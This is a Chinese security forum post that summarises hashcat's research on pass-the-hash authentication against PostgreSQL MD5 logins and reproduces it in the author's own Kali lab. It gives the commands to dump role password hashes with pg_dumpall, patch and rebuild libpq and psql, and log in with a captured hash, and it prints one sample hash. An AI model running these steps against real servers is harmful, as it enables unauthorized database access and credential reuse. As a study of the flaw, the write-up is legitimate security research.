[翻译]PostgreSQL数据库服务器哈希传递攻击(摘要)

2015-03-11 16:59:57 1 5557 1


原文在此:https://hashcat.net/misc/postgres-pth/postgres-pth.pdf
原文内容摘要:

一、漏洞说明
PostgreSQL服务器默认使用以下函数来计算并存储用户的密码:
MD5($pass.$username)
为了方便描述,这里令MD5()=H(),P=$pass.$username,下面是PostgreSQL的登录认证流程:
1)服务器产生一个4字节的随机数R
2)服务器发送R给客户端
3)客户端计算F_c=H(H(P_c).R)
4)客户端发送F_c到服务器
5)服务器的系统表里已经保存了H(P_s)
6)服务器直接计算F_s=H(H(P_s).R)并比对F_s和F_c
注:P_c是客户端提交的<密码+用户名>,P_s是服务器端的<密码+用户名>,显然只要P_s=P_c就能通过认证。

问题就存在于第三步,虽然R是随机产生的,但是只要用户获得H(P_s),无需知道明文口令,直接计算出F_c发送到服务器即可通过认证。而实际上H(P_s)直接就保存在系统表里。所以只要获得了这段hash,就可以登录到服务器上。而且,如果其他的PostgreSQL服务器也使用了相同的用户名和口令,这段hash一样可以直接用于登录其他的PostgreSQL服务器。
另外,原文强调MD5加密方式是这个漏洞的关键。

二、漏洞测试
原文给了两个补丁,把这两个补丁其中之一打到PostgreSQL的源码上,编译一份新的客户端程序,即可支持hash登录。
下面我在自己的测试环境(kali 1.0.9,PostgreSQL 9.1)里对该漏洞进行测试:
1)先检查pg_hba.conf文件,确认服务器使用了md5对密码进行加密:
cat /etc/postgresql/9.1/main/pg_hba.conf


2)下载PostgreSQL源码,由于要用git打补丁,所以按照原文的说明,git clone一下。当然,也可以直接下载官网上最新的源码包,但是可能需要手动打补丁。
git clone git://git.postgresql.org/git/postgresql.git
由于不知道官网上最新的源码是否已经修复此漏洞,为了方便测试,这里回滚到原文中指定的版本:
cd postgresql
git reset --hard ee4ddcb38a0abfdb8f7302bbc332a1cb92888ed1
3)然后给源码打上补丁,postgresql_diff_clean.txt与postgresql_diff_minimal.txt任选一个,不用都打上。
wget  https://hashcat.net/misc/postgres-pth/postgresql_diff_clean.txt
git apply postgresql_diff_clean.txt
4)编译一下
./configure 
make
由于kali已经安装过PostgreSQL了,所以不需要 make install了,编译完成后,找到psql文件,直接执行即可。
5)先获取服务器上的hash,kali里面已经有一个msf3的用户了,直接获取其hash即可
sudo -u postgres -i
pg_dumpall -r|grep md5

这里就是md5cf036f9abf7249aeea34894c16359aaf
6)找到编译好的psql文件
cd src/bin/psql
./psql -V

已经是9.5的了,根据postgresql_diff_clean.txt可知,原文作者主要是修改了libpq的代码,所以这里还要将libpq.so.5暂时指向刚才编译生成的新文件上
先查看当前引用的位置
cp ../../interfaces/libpq/libpq.so.5.8 /usr/lib
cd /usr/lib
ln -fs libpq.so.5.8 libpq.so.5

已经让libpq.so.5指向新生成的文件了
7)回到刚才PostgreSQL编译后生成的文件目录,用刚才抓到的hash登录数据库服务器

登录成功。用另外一个账户也测试一下:

也是可以的。

到这里就测试结束了。把刚才的libpq.so.5还原一下:
cd /usr/lib
ln -fs libpq.so.5.4 libpq.so.5
……原文剩下的内容主要是提出了漏洞修复的思路。

三、小结
根据上面的分析可知,这个漏洞主要跟PostgreSQL的服务端有关,只要是版本低于9.5并且使用了md5方式对用户口令进行存储的服务器,都可以用hash传递的方式绕过登录验证。推测其他操作系统下的PostgreSQL也同样会受到影响。
不知道PostgreSQL能否像MySQL那样,利用低权限用户以读文件的方式读取数据库文件,因为PostgreSQL只有superuser可以访问pg_shadow表以及使用读文件的相关函数,所以目前来看,这个漏洞最大的用处就是利用已经获得的hash去测试其他的PostgreSQL服务器,类似口令暴破吧,只不过可以在不知道口令明文的情况下进行暴破。

关于作者

intosec27篇文章419篇回复

评论1次

要评论?请先  登录  或  注册